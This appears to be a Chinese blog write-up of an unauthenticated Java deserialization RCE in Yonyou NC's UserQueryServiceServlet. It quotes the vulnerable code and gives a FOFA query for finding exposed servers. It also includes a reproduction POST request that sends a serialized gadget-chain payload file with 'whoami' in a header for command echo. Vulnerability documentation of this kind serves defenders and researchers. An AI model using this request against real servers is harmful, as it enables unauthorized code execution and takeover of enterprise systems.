用友NC UserQueryServiceServlet反序列化漏洞


漏洞简介

用友NC是一款由用友公司开发的企业级管理软件,旨在为大型企业集团提供全面的管理解决方案,涵盖财务、供应链、人力资源、生产制造等多个核心业务领域,并采用J2EE架构以支持复杂的企业应用。

用友NC系统中的UserQueryServiceServlet接口(或其他类似处理序列化数据的组件)存在反序列化漏洞。未经授权的远程攻击者可以构造恶意的序列化数据,并将其发送到受影响的用友NC服务器。

成功利用此漏洞后,攻击者可以在目标服务器上执行任意代码,从而完全控制服务器系统。这可能导致敏感数据泄露、系统被篡改,甚至对整个企业的信息系统造成严重破坏。

影响版本

NC63、NC65

fofa语法

app="用友-UFIDA-NC"

漏洞分析

直接看 UserQueryServiceServlet 的实现

public class UserQueryServiceServlet extends HttpServlet {
    private static final long serialVersionUID = -5847889958965745395L;

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        ObjectInputStream in = new ObjectInputStream(request.getInputStream());
        new HashMap();
        ObjectOutputStream oos = new ObjectOutputStream(response.getOutputStream());
        HashMap<Object, Object> result = new HashMap();

        try {
            HashMap<Object, Object> params = (HashMap)in.readObject();

由于代码在处理 HTTP 请求时,直接对用户传入的输入流进行 Java 反序列化操作(in.readObject()**),且该操作发生在任何身份验证或安全检查之前,造成了未经身份验证的远程代码执行(RCE)漏洞。攻击者可以构造恶意的序列化数据流,在服务器反序列化时执行任意代码。

漏洞复现

使用Java Chains 的TransformerWithDefiningClassLoader2构造绕黑名单进行命令执行回显

POST /servlet/UserQueryServiceServlet?pageId=login HTTP/1.1
Host: nc.mrxn.net
Content-Type: application/x-java-serialized-object
X-Authorization: whoami

{{file(/path/to/yourpayload.ser)}}


手机扫码阅读

东胜物流软件 DsWebService.asmx XXE漏洞

红帆ioffice mrClearPwd.aspx SQL 注入漏洞

评 论